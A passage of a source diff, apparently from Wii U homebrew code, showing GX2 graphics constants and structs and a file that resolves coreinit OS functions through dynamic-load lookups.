#define GX2_SURFACE_FORMAT_TC_R16_G16_SNORM 0x0000020f
|
||||
#define GX2_SURFACE_FORMAT_T_R10_G10_B10_A2_SNORM 0x00000219
|
||||
#define GX2_SURFACE_FORMAT_TC_R10_G10_B10_A2_SNORM 0x00000219
|
||||
#define GX2_SURFACE_FORMAT_TC_R8_G8_B8_A8_SNORM 0x0000021a
|
||||
#define GX2_SURFACE_FORMAT_TC_R16_G16_B16_A16_SNORM 0x0000021f
|
||||
#define GX2_SURFACE_FORMAT_T_BC4_SNORM 0x00000234
|
||||
#define GX2_SURFACE_FORMAT_T_BC5_SNORM 0x00000235
|
||||
|
||||
#define GX2_SURFACE_FORMAT_TC_R8_SINT 0x00000301
|
||||
#define GX2_SURFACE_FORMAT_TC_R16_SINT 0x00000305
|
||||
#define GX2_SURFACE_FORMAT_TC_R8_G8_SINT 0x00000307
|
||||
#define GX2_SURFACE_FORMAT_TC_R32_SINT 0x0000030d
|
||||
#define GX2_SURFACE_FORMAT_TC_R16_G16_SINT 0x0000030f
|
||||
#define GX2_SURFACE_FORMAT_TC_R10_G10_B10_A2_SINT 0x00000319
|
||||
#define GX2_SURFACE_FORMAT_TC_R8_G8_B8_A8_SINT 0x0000031a
|
||||
#define GX2_SURFACE_FORMAT_TC_R32_G32_SINT 0x0000031d
|
||||
#define GX2_SURFACE_FORMAT_TC_R16_G16_B16_A16_SINT 0x0000031f
|
||||
#define GX2_SURFACE_FORMAT_TC_R32_G32_B32_A32_SINT 0x00000322
|
||||
|
||||
#define GX2_SURFACE_FORMAT_TCS_R8_G8_B8_A8_SRGB 0x0000041a
|
||||
#define GX2_SURFACE_FORMAT_T_BC1_SRGB 0x00000431
|
||||
#define GX2_SURFACE_FORMAT_T_BC2_SRGB 0x00000432
|
||||
#define GX2_SURFACE_FORMAT_T_BC3_SRGB 0x00000433
|
||||
|
||||
#define GX2_SURFACE_FORMAT_TC_R16_FLOAT 0x00000806
|
||||
#define GX2_SURFACE_FORMAT_TCD_R32_FLOAT 0x0000080e
|
||||
#define GX2_SURFACE_FORMAT_TC_R16_G16_FLOAT 0x00000810
|
||||
#define GX2_SURFACE_FORMAT_D_D24_S8_FLOAT 0x00000811
|
||||
#define GX2_SURFACE_FORMAT_TC_R11_G11_B10_FLOAT 0x00000816
|
||||
#define GX2_SURFACE_FORMAT_D_D32_FLOAT_S8_UINT_X24 0x0000081c
|
||||
#define GX2_SURFACE_FORMAT_T_R32_FLOAT_X8_X24 0x0000081c
|
||||
#define GX2_SURFACE_FORMAT_TC_R32_G32_FLOAT 0x0000081e
|
||||
#define GX2_SURFACE_FORMAT_TC_R16_G16_B16_A16_FLOAT 0x00000820
|
||||
#define GX2_SURFACE_FORMAT_TC_R32_G32_B32_A32_FLOAT 0x00000823
|
||||
|
||||
//!-----------------------------------------------------------------------------------------------------------------------
|
||||
//! GX2 tile modes
|
||||
//!-----------------------------------------------------------------------------------------------------------------------
|
||||
#define GX2_TILE_MODE_DEFAULT 0x00000000
|
||||
#define GX2_TILE_MODE_LINEAR_ALIGNED 0x00000001
|
||||
|
||||
//!-----------------------------------------------------------------------------------------------------------------------
|
||||
//! GX2 surface use
|
||||
//!-----------------------------------------------------------------------------------------------------------------------
|
||||
#define GX2_SURFACE_USE_TEXTURE 0x00000001
|
||||
#define GX2_SURFACE_USE_COLOR_BUFFER 0x00000002
|
||||
#define GX2_SURFACE_USE_DEPTH_BUFFER 0x00000004
|
||||
#define GX2_SURFACE_USE_SCAN_BUFFER 0x00000008
|
||||
#define GX2_SURFACE_USE_FTV 0x80000000
|
||||
#define GX2_SURFACE_USE_COLOR_BUFFER_TEXTURE (GX2_SURFACE_USE_COLOR_BUFFER | GX2_SURFACE_USE_TEXTURE)
|
||||
#define GX2_SURFACE_USE_DEPTH_BUFFER_TEXTURE (GX2_SURFACE_USE_DEPTH_BUFFER | GX2_SURFACE_USE_TEXTURE)
|
||||
#define GX2_SURFACE_USE_COLOR_BUFFER_FTV (GX2_SURFACE_USE_COLOR_BUFFER | GX2_SURFACE_USE_FTV)
|
||||
#define GX2_SURFACE_USE_COLOR_BUFFER_TEXTURE_FTV (GX2_SURFACE_USE_COLOR_BUFFER_TEXTURE | GX2_SURFACE_USE_FTV)
|
||||
|
||||
//!-----------------------------------------------------------------------------------------------------------------------
|
||||
//! GX2 surface dim
|
||||
//!-----------------------------------------------------------------------------------------------------------------------
|
||||
#define GX2_SURFACE_DIM_1D 0x00000000
|
||||
#define GX2_SURFACE_DIM_2D 0x00000001
|
||||
#define GX2_SURFACE_DIM_3D 0x00000002
|
||||
#define GX2_SURFACE_DIM_CUBE 0x00000003
|
||||
#define GX2_SURFACE_DIM_1D_ARRAY 0x00000004
|
||||
#define GX2_SURFACE_DIM_2D_ARRAY 0x00000005
|
||||
#define GX2_SURFACE_DIM_2D_MSAA 0x00000006
|
||||
#define GX2_SURFACE_DIM_2D_MSAA_ARRAY 0x00000007
|
||||
|
||||
//!-----------------------------------------------------------------------------------------------------------------------
|
||||
//! GX2 AA modes
|
||||
//!-----------------------------------------------------------------------------------------------------------------------
|
||||
#define GX2_AA_MODE_1X 0x00000000
|
||||
#define GX2_AA_MODE_2X 0x00000001
|
||||
#define GX2_AA_MODE_4X 0x00000002
|
||||
#define GX2_AA_MODE_8X 0x00000003
|
||||
|
||||
//!-----------------------------------------------------------------------------------------------------------------------
|
||||
//! GX2 texture clamp
|
||||
//!-----------------------------------------------------------------------------------------------------------------------
|
||||
#define GX2_TEX_CLAMP_WRAP 0x00000000
|
||||
#define GX2_TEX_CLAMP_MIRROR 0x00000001
|
||||
#define GX2_TEX_CLAMP_CLAMP 0x00000002
|
||||
#define GX2_TEX_CLAMP_MIRROR_ONCE 0x00000003
|
||||
#define GX2_TEX_CLAMP_CLAMP_HALF_BORDER 0x00000004
|
||||
#define GX2_TEX_CLAMP_MIRROR_ONCE_HALF_BORDER 0x00000005
|
||||
#define GX2_TEX_CLAMP_CLAMP_BORDER 0x00000006
|
||||
#define GX2_TEX_CLAMP_MIRROR_ONCE_BORDER 0x00000007
|
||||
|
||||
//!-----------------------------------------------------------------------------------------------------------------------
|
||||
//! GX2 texture filter
|
||||
//!-----------------------------------------------------------------------------------------------------------------------
|
||||
#define GX2_TEX_XY_FILTER_POINT 0x00000000
|
||||
#define GX2_TEX_XY_FILTER_BILINEAR 0x00000001
|
||||
|
||||
//!-----------------------------------------------------------------------------------------------------------------------
|
||||
//! GX2 TV scan modes
|
||||
//!-----------------------------------------------------------------------------------------------------------------------
|
||||
#define GX2_TV_SCAN_MODE_NONE 0x00000000
|
||||
#define GX2_TV_SCAN_MODE_576I 0x00000001
|
||||
#define GX2_TV_SCAN_MODE_480I 0x00000002
|
||||
#define GX2_TV_SCAN_MODE_480P 0x00000003
|
||||
#define GX2_TV_SCAN_MODE_720P 0x00000004
|
||||
#define GX2_TV_SCAN_MODE_1080I 0x00000006
|
||||
#define GX2_TV_SCAN_MODE_1080P 0x00000007
|
||||
|
||||
//!-----------------------------------------------------------------------------------------------------------------------
|
||||
//! GX2 TV render modes
|
||||
//!-----------------------------------------------------------------------------------------------------------------------
|
||||
#define GX2_TV_RENDER_480_NARROW 0x00000001
|
||||
#define GX2_TV_RENDER_480_WIDE 0x00000002
|
||||
#define GX2_TV_RENDER_720 0x00000003
|
||||
#define GX2_TV_RENDER_1080 0x00000005
|
||||
|
||||
//!-----------------------------------------------------------------------------------------------------------------------
|
||||
//! GX2 DRC render modes
|
||||
//!-----------------------------------------------------------------------------------------------------------------------
|
||||
#define GX2_DRC_NONE 0x00000000
|
||||
#define GX2_DRC_SINGLE 0x00000001
|
||||
#define GX2_DRC_DOUBLE 0x00000002
|
||||
#define GX2_DRC_SINGLE_30HZ 0x00000004
|
||||
|
||||
//!-----------------------------------------------------------------------------------------------------------------------
|
||||
//! GX2 buffering mode
|
||||
//!-----------------------------------------------------------------------------------------------------------------------
|
||||
#define GX2_BUFFERING_SINGLE 0x00000001
|
||||
#define GX2_BUFFERING_DOUBLE 0x00000002
|
||||
#define GX2_BUFFERING_TRIPLE 0x00000003
|
||||
#define GX2_BUFFERING_QUAD
|
||||
//!-----------------------------------------------------------------------------------------------------------------------
|
||||
//! GX2 scan targets
|
||||
//!-----------------------------------------------------------------------------------------------------------------------
|
||||
#define GX2_SCAN_TARGET_TV 0x00000001
|
||||
#define GX2_SCAN_TARGET_DRC_FIRST 0x00000004
|
||||
#define GX2_SCAN_TARGET_DRC_SECOND 0x00000008
|
||||
|
||||
//!-----------------------------------------------------------------------------------------------------------------------
|
||||
//! GX2 invalidate types
|
||||
//!-----------------------------------------------------------------------------------------------------------------------
|
||||
#define GX2_INVALIDATE_ATTRIB_BUFFER 0x00000001
|
||||
#define GX2_INVALIDATE_TEXTURE 0x00000002
|
||||
#define GX2_INVALIDATE_UNIFORM_BLOCK 0x00000004
|
||||
#define GX2_INVALIDATE_SHADER 0x00000008
|
||||
#define GX2_INVALIDATE_COLOR_BUFFER 0x00000010
|
||||
#define GX2_INVALIDATE_DEPTH_BUFFER 0x00000020
|
||||
#define GX2_INVALIDATE_CPU 0x00000040
|
||||
#define GX2_INVALIDATE_CPU_ATTRIB_BUFFER (GX2_INVALIDATE_CPU | GX2_INVALIDATE_ATTRIB_BUFFER)
|
||||
#define GX2_INVALIDATE_CPU_TEXTURE (GX2_INVALIDATE_CPU | GX2_INVALIDATE_TEXTURE)
|
||||
#define GX2_INVALIDATE_CPU_UNIFORM_BLOCK (GX2_INVALIDATE_CPU | GX2_INVALIDATE_UNIFORM_BLOCK)
|
||||
#define GX2_INVALIDATE_CPU_SHADER (GX2_INVALIDATE_CPU | GX2_INVALIDATE_SHADER)
|
||||
|
||||
//!-----------------------------------------------------------------------------------------------------------------------
|
||||
//! GX2 swap modes
|
||||
//!-----------------------------------------------------------------------------------------------------------------------
|
||||
#define GX2_ENDIANSWAP_DEFAULT 0x00000003
|
||||
|
||||
//!-----------------------------------------------------------------------------------------------------------------------
|
||||
//! GX2 tessellation modes
|
||||
//!-----------------------------------------------------------------------------------------------------------------------
|
||||
#define GX2_TESSELLATION_MODE_DISCRETE 0x00000000
|
||||
#define GX2_TESSELLATION_MODE_CONTINUOUS 0x00000001
|
||||
#define GX2_TESSELLATION_MODE_ADAPTIVE 0x00000002
|
||||
|
||||
//!-----------------------------------------------------------------------------------------------------------------------
|
||||
//! GX2 fetch shader types
|
||||
//!-----------------------------------------------------------------------------------------------------------------------
|
||||
#define GX2_FETCH_SHADER_TESSELATION_NONE 0x00000000
|
||||
#define GX2_FETCH_SHADER_TESSELATION_LINES 0x00000001
|
||||
#define GX2_FETCH_SHADER_TESSELATION_TRIANGLES 0x00000002
|
||||
#define GX2_FETCH_SHADER_TESSELATION_QUADS 0x00000003
|
||||
|
||||
|
||||
typedef struct _GX2ContextState {
|
||||
u8 data[GX2_CONTEXT_STATE_SIZE];
|
||||
} GX2ContextState;
|
||||
|
||||
typedef struct _GX2Surface {
|
||||
s32 dimension;
|
||||
u32 width;
|
||||
u32 height;
|
||||
u32 depth;
|
||||
u32 num_mips;
|
||||
s32 format;
|
||||
s32 aa;
|
||||
s32 use;
|
||||
u32 image_size;
|
||||
void *image_data;
|
||||
u32 mip_size;
|
||||
void *mip_data;
|
||||
s32 tile;
|
||||
u32 swizzle;
|
||||
u32 align;
|
||||
u32 pitch;
|
||||
u32 mip_offset[13];
|
||||
} GX2Surface;
|
||||
|
||||
typedef struct _GX2ColorBuffer {
|
||||
GX2Surface surface;
|
||||
u32 view_mip;
|
||||
u32 view_first_slice;
|
||||
u32 view_slices_count;
|
||||
void *aux_data;
|
||||
u32 aux_size;
|
||||
u32 regs[5];
|
||||
} GX2ColorBuffer;
|
||||
|
||||
typedef struct _GX2DepthBuffer {
|
||||
GX2Surface surface;
|
||||
u32 view_mip;
|
||||
u32 view_first_slice;
|
||||
u32 view_slices_count;
|
||||
void *hiZ_data;
|
||||
u32 hiZ_size;
|
||||
f32 clear_depth;
|
||||
u32 clear_stencil;
|
||||
u32 regs[7];
|
||||
} GX2DepthBuffer;
|
||||
|
||||
|
||||
typedef struct _GX2Texture {
|
||||
GX2Surface surface;
|
||||
u32 view_first_mip;
|
||||
u32 view_mips_count;
|
||||
u32 view_first_slice;
|
||||
u32 view_slices_count;
|
||||
u32 component_selector;
|
||||
u32 regs[5];
|
||||
} GX2Texture;
|
||||
|
||||
|
||||
typedef struct _GX2Sampler {
|
||||
u32 regs[3];
|
||||
} GX2Sampler;
|
||||
|
||||
typedef struct _GX2AttribStream {
|
||||
u32 location;
|
||||
u32 buffer;
|
||||
u32 offset;
|
||||
s32 format;
|
||||
s32 index_type;
|
||||
u32 divisor;
|
||||
u32 destination_selector;
|
||||
s32 endian_swap;
|
||||
} GX2AttribStream;
|
||||
|
||||
typedef struct _GX2FetchShader {
|
||||
s32 type;
|
||||
u32 reg;
|
||||
u32 shader_size;
|
||||
void *shader_program;
|
||||
u32 attributes_count;
|
||||
u32 divisor[3];
|
||||
} GX2FetchShader;
|
||||
|
||||
typedef struct _GX2AttribVar
|
||||
{
|
||||
const char *name;
|
||||
s32 var_type;
|
||||
u32 array_count;
|
||||
u32 location;
|
||||
} GX2AttribVar;
|
||||
|
||||
|
||||
typedef struct _GX2UniformBlock {
|
||||
const char *name;
|
||||
u32 location;
|
||||
u32 block_size;
|
||||
} GX2UniformBlock;
|
||||
|
||||
typedef struct _GX2UniformInitialValue {
|
||||
f32 value[4];
|
||||
u32 offset;
|
||||
} GX2UniformInitialValue;
|
||||
|
||||
typedef struct _GX2SamplerVar
|
||||
{
|
||||
const char *name;
|
||||
s32 sampler_type;
|
||||
u32 location;
|
||||
} GX2SamplerVar;
|
||||
|
||||
typedef struct _GX2UniformVar
|
||||
{
|
||||
const char *name;
|
||||
s32 var_type;
|
||||
u32 array_count;
|
||||
u32 offset;
|
||||
u32 block_index;
|
||||
} GX2UniformVar;
|
||||
|
||||
typedef struct _GX2VertexShader {
|
||||
u32 regs[52];
|
||||
u32 shader_size;
|
||||
void *shader_data;
|
||||
s32 shader_mode;
|
||||
u32 uniform_blocks_count;
|
||||
GX2UniformBlock *uniform_block;
|
||||
u32 uniform_vars_count;
|
||||
GX2UniformVar *uniform_var;
|
||||
u32 initial_values_count;
|
||||
GX2UniformInitialValue *initial_value;
|
||||
u32 loops_count;
|
||||
void *loops_data;
|
||||
u32 sampler_vars_count;
|
||||
GX2SamplerVar *sampler_var;
|
||||
u32 attribute_vars_count;
|
||||
GX2AttribVar *attribute_var;
|
||||
u32 data[6];
|
||||
u32 shader_program_buffer[16];
|
||||
} GX2VertexShader;
|
||||
|
||||
typedef struct _GX2PixelShader {
|
||||
u32 regs[41];
|
||||
u32 shader_size;
|
||||
void *shader_data;
|
||||
s32 shader_mode;
|
||||
u32 uniform_blocks_count;
|
||||
GX2UniformBlock *uniform_block;
|
||||
u32 uniform_vars_count;
|
||||
GX2UniformVar *uniform_var;
|
||||
u32 initial_values_count;
|
||||
GX2UniformInitialValue *initial_value;
|
||||
u32 loops_count;
|
||||
void *loops_data;
|
||||
u32 sampler_vars_count;
|
||||
GX2SamplerVar *sampler_var;
|
||||
u32 shader_program_buffer[16];
|
||||
} GX2PixelShader;
|
||||
|
||||
static const u32 attribute_dest_comp_selector[20] = {
|
||||
GX2_COMP_SEL_X001, GX2_COMP_SEL_XY01, GX2_COMP_SEL_X001, GX2_COMP_SEL_X001, GX2_COMP_SEL_XY01, GX2_COMP_SEL_X001,
|
||||
GX2_COMP_SEL_X001, GX2_COMP_SEL_XY01, GX2_COMP_SEL_XY01, GX2_COMP_SEL_XYZ1, GX2_COMP_SEL_XYZW, GX2_COMP_SEL_XYZW,
|
||||
GX2_COMP_SEL_XY01, GX2_COMP_SEL_XY01, GX2_COMP_SEL_XYZW, GX2_COMP_SEL_XYZW, GX2_COMP_SEL_XYZ1, GX2_COMP_SEL_XYZ1,
|
||||
GX2_COMP_SEL_XYZW, GX2_COMP_SEL_XYZW
|
||||
};
|
||||
|
||||
static const u32 texture_comp_selector[54] = {
|
||||
GX2_COMP_SEL_NONE, GX2_COMP_SEL_X001, GX2_COMP_SEL_XY01, GX2_COMP_SEL_NONE, GX2_COMP_SEL_NONE, GX2_COMP_SEL_X001,
|
||||
GX2_COMP_SEL_X001, GX2_COMP_SEL_XY01, GX2_COMP_SEL_XYZ1, GX2_COMP_SEL_XYZ1, GX2_COMP_SEL_XYZW, GX2_COMP_SEL_XYZW,
|
||||
GX2_COMP_SEL_WZYX, GX2_COMP_SEL_X001, GX2_COMP_SEL_X001, GX2_COMP_SEL_XY01, GX2_COMP_SEL_XY01, GX2_COMP_SEL_NONE,
|
||||
GX2_COMP_SEL_NONE, GX2_COMP_SEL_NONE, GX2_COMP_SEL_NONE, GX2_COMP_SEL_NONE, GX2_COMP_SEL_XYZ1, GX2_COMP_SEL_NONE,
|
||||
GX2_COMP_SEL_NONE, GX2_COMP_SEL_XYZW, GX2_COMP_SEL_XYZW, GX2_COMP_SEL_WZYX, GX2_COMP_SEL_XY01, GX2_COMP_SEL_XY01,
|
||||
GX2_COMP_SEL_XY01, GX2_COMP_SEL_XYZW, GX2_COMP_SEL_XYZW, GX2_COMP_SEL_NONE, GX2_COMP_SEL_XYZW, GX2_COMP_SEL_XYZW,
|
||||
GX2_COMP_SEL_NONE, GX2_COMP_SEL_NONE, GX2_COMP_SEL_NONE, GX2_COMP_SEL_XYZ1, GX2_COMP_SEL_XYZ1, GX2_COMP_SEL_X001,
|
||||
GX2_COMP_SEL_XY01, GX2_COMP_SEL_XYZ1, GX2_COMP_SEL_NONE, GX2_COMP_SEL_NONE, GX2_COMP_SEL_NONE, GX2_COMP_SEL_XYZ1,
|
||||
GX2_COMP_SEL_XYZ1, GX2_COMP_SEL_XYZW, GX2_COMP_SEL_XYZW, GX2_COMP_SEL_XYZW, GX2_COMP_SEL_X001, GX2_COMP_SEL_XY01
|
||||
};
|
||||
|
||||
typedef struct _GX2Color {
|
||||
u8 r, g, b, a;
|
||||
} GX2Color;
|
||||
|
||||
typedef struct _GX2ColorF32 {
|
||||
f32 r, g, b, a;
|
||||
} GX2ColorF32;
|
||||
|
||||
#ifdef __cplusplus
|
||||
}
|
||||
#endif
|
||||
|
||||
#endif
|
214
src/dynamic_libs/os_functions.c
Normal file
214
src/dynamic_libs/os_functions.c
Normal file
@ -0,0 +1,214 @@
|
||||
/****************************************************************************
|
||||
* Copyright (C) 2015
|
||||
* by Dimok
|
||||
*
|
||||
* This software is provided 'as-is', without any express or implied
|
||||
* warranty. In no event will the authors be held liable for any
|
||||
* damages arising from the use of this software.
|
||||
*
|
||||
* Permission is granted to anyone to use this software for any
|
||||
* purpose, including commercial applications, and to alter it and
|
||||
* redistribute it freely, subject to the following restrictions:
|
||||
*
|
||||
* 1. The origin of this software must not be misrepresented; you
|
||||
* must not claim that you wrote the original software. If you use
|
||||
* this software in a product, an acknowledgment in the product
|
||||
* documentation would be appreciated but is not required.
|
||||
*
|
||||
* 2. Altered source versions must be plainly marked as such, and
|
||||
* must not be misrepresented as being the original software.
|
||||
*
|
||||
* 3. This notice may not be removed or altered from any source
|
||||
* distribution.
|
||||
***************************************************************************/
|
||||
#include "common/common.h"
|
||||
#include "os_functions.h"
|
||||
|
||||
unsigned int coreinit_handle = 0;
|
||||
|
||||
//!----------------------------------------------------------------------------------------------------------------------------------------------------------------------------
|
||||
//! Lib handle functions
|
||||
//!----------------------------------------------------------------------------------------------------------------------------------------------------------------------------
|
||||
EXPORT_DECL(int, OSDynLoad_Acquire, const char* rpl, u32 *handle);
|
||||
EXPORT_DECL(int, OSDynLoad_FindExport, u32 handle, int isdata, const char *symbol, void *address);
|
||||
|
||||
//!----------------------------------------------------------------------------------------------------------------------------------------------------------------------------
|
||||
//! Thread functions
|
||||
//!----------------------------------------------------------------------------------------------------------------------------------------------------------------------------
|
||||
EXPORT_DECL(int, OSCreateThread, void *thread, s32 (*callback)(s32, void*), s32 argc, void *args, u32 stack, u32 stack_size, s32 priority, u32 attr);
|
||||
EXPORT_DECL(int, OSResumeThread, void *thread);
|
||||
EXPORT_DECL(int, OSSuspendThread, void *thread);
|
||||
EXPORT_DECL(int, OSIsThreadTerminated, void *thread);
|
||||
EXPORT_DECL(int, OSIsThreadSuspended, void *thread);
|
||||
EXPORT_DECL(int, OSSetThreadPriority, void * thread, int priority);
|
||||
EXPORT_DECL(int, OSJoinThread, void * thread, int * ret_val);
|
||||
EXPORT_DECL(void, OSDetachThread, void * thread);
|
||||
EXPORT_DECL(void, OSSleepTicks, u64 ticks);
|
||||
EXPORT_DECL(u64, OSGetTick, void);
|
||||
|
||||
//!----------------------------------------------------------------------------------------------------------------------------------------------------------------------------
|
||||
//! Mutex functions
|
||||
//!----------------------------------------------------------------------------------------------------------------------------------------------------------------------------
|
||||
EXPORT_DECL(void, OSInitMutex, void* mutex);
|
||||
EXPORT_DECL(void, OSLockMutex, void* mutex);
|
||||
EXPORT_DECL(void, OSUnlockMutex, void* mutex);
|
||||
EXPORT_DECL(int, OSTryLockMutex, void* mutex);
|
||||
|
||||
//!----------------------------------------------------------------------------------------------------------------------------------------------------------------------------
|
||||
//! System functions
|
||||
//!----------------------------------------------------------------------------------------------------------------------------------------------------------------------------
|
||||
EXPORT_DECL(u64, OSGetTitleID, void);
|
||||
EXPORT_DECL(void, __Exit, void);
|
||||
EXPORT_DECL(void, OSFatal, const char* msg);
|
||||
EXPORT_DECL(void, OSSetExceptionCallback, u8 exceptionType, exception_callback newCallback);
|
||||
EXPORT_DECL(void, DCFlushRange, const void *addr, u32 length);
|
||||
EXPORT_DECL(void, ICInvalidateRange, const void *addr, u32 length);
|
||||
EXPORT_DECL(void*, OSEffectiveToPhysical, const void*);
|
||||
EXPORT_DECL(int, __os_snprintf, char* s, int n, const char * format, ...);
|
||||
|
||||
EXPORT_DECL(void, OSScreenInit, void);
|
||||
EXPORT_DECL(unsigned int, OSScreenGetBufferSizeEx, unsigned int bufferNum);
|
||||
EXPORT_DECL(int, OSScreenSetBufferEx, unsigned int bufferNum, void * addr);
|
||||
EXPORT_DECL(int, OSScreenClearBufferEx, unsigned int bufferNum, unsigned int temp);
|
||||
EXPORT_DECL(int, OSScreenFlipBuffersEx, unsigned int bufferNum);
|
||||
EXPORT_DECL(int, OSScreenPutFontEx, unsigned int bufferNum, unsigned int posX, unsigned int posY, const char * buffer);
|
||||
EXPORT_DECL(int, OSScreenEnableEx, unsigned int bufferNum, int enable);
|
||||
|
||||
//!----------------------------------------------------------------------------------------------------------------------------------------------------------------------------
|
||||
//! Memory functions
|
||||
//!----------------------------------------------------------------------------------------------------------------------------------------------------------------------------
|
||||
EXPORT_VAR(unsigned int *, pMEMAllocFromDefaultHeapEx);
|
||||
EXPORT_VAR(unsigned int *, pMEMAllocFromDefaultHeap);
|
||||
EXPORT_VAR(unsigned int *, pMEMFreeToDefaultHeap);
|
||||
|
||||
EXPORT_DECL(int, MEMGetBaseHeapHandle, int mem_arena);
|
||||
EXPORT_DECL(unsigned int, MEMGetAllocatableSizeForFrmHeapEx, int heap, int align);
|
||||
EXPORT_DECL(void *, MEMAllocFromFrmHeapEx, int heap, unsigned int size, int align);
|
||||
EXPORT_DECL(void, MEMFreeToFrmHeap, int heap, int mode);
|
||||
EXPORT_DECL(void *, MEMAllocFromExpHeapEx, int heap, unsigned int size, int align);
|
||||
EXPORT_DECL(int , MEMCreateExpHeapEx, void* address, unsigned int size, unsigned short flags);
|
||||
EXPORT_DECL(void *, MEMDestroyExpHeap, int heap);
|
||||
EXPORT_DECL(void, MEMFreeToExpHeap, int heap, void* ptr);
|
||||
|
||||
//!----------------------------------------------------------------------------------------------------------------------------------------------------------------------------
|
||||
//! MCP functions
|
||||
//!----------------------------------------------------------------------------------------------------------------------------------------------------------------------------
|
||||
EXPORT_DECL(int, MCP_Open, void);
|
||||
EXPORT_DECL(int, MCP_Close, int handle);
|
||||
EXPORT_DECL(int, MCP_GetOwnTitleInfo, int handle, void * data);
|
||||
|
||||
//!----------------------------------------------------------------------------------------------------------------------------------------------------------------------------
|
||||
//! Loader functions (not real rpl)
|
||||
//!----------------------------------------------------------------------------------------------------------------------------------------------------------------------------
|
||||
EXPORT_DECL(int, LiWaitIopComplete, int unknown_syscall_arg_r3, int * remaining_bytes);
|
||||
EXPORT_DECL(int, LiWaitIopCompleteWithInterrupts, int unknown_syscall_arg_r3, int * remaining_bytes);
|
||||
EXPORT_DECL(void, addr_LiWaitOneChunk, void);
|
||||
|
||||
//!----------------------------------------------------------------------------------------------------------------------------------------------------------------------------
|
||||
//! Kernel function addresses
|
||||
//!----------------------------------------------------------------------------------------------------------------------------------------------------------------------------
|
||||
EXPORT_DECL(void, addr_PrepareTitle_hook, void);
|
||||
|
||||
void InitOSFunctionPointers(void)
|
||||
{
|
||||
unsigned int *funcPointer = 0;
|
||||
//!----------------------------------------------------------------------------------------------------------------------------------------------------------------------------
|
||||
//! Lib handle functions
|
||||
//!----------------------------------------------------------------------------------------------------------------------------------------------------------------------------
|
||||
EXPORT_FUNC_WRITE(OSDynLoad_Acquire, (int (*)(const char*, unsigned *))OS_SPECIFICS->addr_OSDynLoad_Acquire);
|
||||
EXPORT_FUNC_WRITE(OSDynLoad_FindExport, (int (*)(u32, int, const char *, void *))OS_SPECIFICS->addr_OSDynLoad_FindExport);
|
||||
|
||||
OSDynLoad_Acquire("coreinit.rpl", &coreinit_handle);
|
||||
|
||||
//!----------------------------------------------------------------------------------------------------------------------------------------------------------------------------
|
||||
//! System functions
|
||||
//!----------------------------------------------------------------------------------------------------------------------------------------------------------------------------
|
||||
OS_FIND_EXPORT(coreinit_handle, OSFatal);
|
||||
OS_FIND_EXPORT(coreinit_handle, OSGetTitleID);
|
||||
OS_FIND_EXPORT(coreinit_handle, OSSetExceptionCallback);
|
||||
OS_FIND_EXPORT(coreinit_handle, DCFlushRange);
|
||||
OS_FIND_EXPORT(coreinit_handle, ICInvalidateRange);
|
||||
OS_FIND_EXPORT(coreinit_handle, OSEffectiveToPhysical);
|
||||
OS_FIND_EXPORT(coreinit_handle, __os_snprintf);
|
||||
OSDynLoad_FindExport(coreinit_handle, 0, "_Exit", &__Exit);
|
||||
|
||||
OS_FIND_EXPORT(coreinit_handle, OSScreenInit);
|
||||
OS_FIND_EXPORT(coreinit_handle, OSScreenGetBufferSizeEx);
|
||||
OS_FIND_EXPORT(coreinit_handle, OSScreenSetBufferEx);
|
||||
OS_FIND_EXPORT(coreinit_handle, OSScreenClearBufferEx);
|
||||
OS_FIND_EXPORT(coreinit_handle, OSScreenFlipBuffersEx);
|
||||
OS_FIND_EXPORT(coreinit_handle, OSScreenPutFontEx);
|
||||
OS_FIND_EXPORT(coreinit_handle, OSScreenEnableEx);
|
||||
//!----------------------------------------------------------------------------------------------------------------------------------------------------------------------------
|
||||
//! Thread functions
|
||||
//!----------------------------------------------------------------------------------------------------------------------------------------------------------------------------
|
||||
OS_FIND_EXPORT(coreinit_handle, OSCreateThread);
|
||||
OS_FIND_EXPORT(coreinit_handle, OSResumeThread);
|
||||
OS_FIND_EXPORT(coreinit_handle, OSSuspendThread);
|
||||
OS_FIND_EXPORT(coreinit_handle, OSIsThreadTerminated);
|
||||
OS_FIND_EXPORT(coreinit_handle, OSIsThreadSuspended);
|
||||
OS_FIND_EXPORT(coreinit_handle, OSJoinThread);
|
||||
OS_FIND_EXPORT(coreinit_handle, OSSetThreadPriority);
|
||||
OS_FIND_EXPORT(coreinit_handle, OSDetachThread);
|
||||
OS_FIND_EXPORT(coreinit_handle, OSSleepTicks);
|
||||
OS_FIND_EXPORT(coreinit_handle, OSGetTick);
|
||||
//!----------------------------------------------------------------------------------------------------------------------------------------------------------------------------
|
||||
//! Mutex functions
|
||||
//!----------------------------------------------------------------------------------------------------------------------------------------------------------------------------
|
||||
OS_FIND_EXPORT(coreinit_handle, OSInitMutex);
|
||||
OS_FIND_EXPORT(coreinit_handle, OSLockMutex);
|
||||
OS_FIND_EXPORT(coreinit_handle, OSUnlockMutex);
|
||||
OS_FIND_EXPORT(coreinit_handle, OSTryLockMutex);
|
||||
//!----------------------------------------------------------------------------------------------------------------------------------------------------------------------------
|
||||
//! MCP functions
|
||||
//!----------------------------------------------------------------------------------------------------------------------------------------------------------------------------
|
||||
OS_FIND_EXPORT(coreinit_handle, MCP_Open);
|
||||
OS_FIND_EXPORT(coreinit_handle, MCP_Close);
|
||||
OS_FIND_EXPORT(coreinit_handle, MCP_GetOwnTitleInfo);
|
||||
|
||||
//!----------------------------------------------------------------------------------------------------------------------------------------------------------------------------
|
||||
//! Memory functions
|
||||
//!----------------------------------------------------------------------------------------------------------------------------------------------------------------------------
|
||||
OSDynLoad_FindExport(coreinit_handle, 1, "MEMAllocFromDefaultHeapEx", &pMEMAllocFromDefaultHeapEx);
|
||||
OSDynLoad_FindExport(coreinit_handle, 1, "MEMAllocFromDefaultHeap", &pMEMAllocFromDefaultHeap);
|
||||
OSDynLoad_FindExport(coreinit_handle, 1, "MEMFreeToDefaultHeap", &pMEMFreeToDefaultHeap);
|
||||
|
||||
OS_FIND_EXPORT(coreinit_handle, MEMGetBaseHeapHandle);
|
||||
OS_FIND_EXPORT(coreinit_handle, MEMGetAllocatableSizeForFrmHeapEx);
|
||||
OS_FIND_EXPORT(coreinit_handle, MEMAllocFromFrmHeapEx);
|
||||
OS_FIND_EXPORT(coreinit_handle, MEMFreeToFrmHeap);
|
||||
OS_FIND_EXPORT(coreinit_handle, MEMAllocFromExpHeapEx);
|
||||
OS_FIND_EXPORT(coreinit_handle, MEMCreateExpHeapEx);
|
||||
OS_FIND_EXPORT(coreinit_handle, MEMDestroyExpHeap);
|
||||
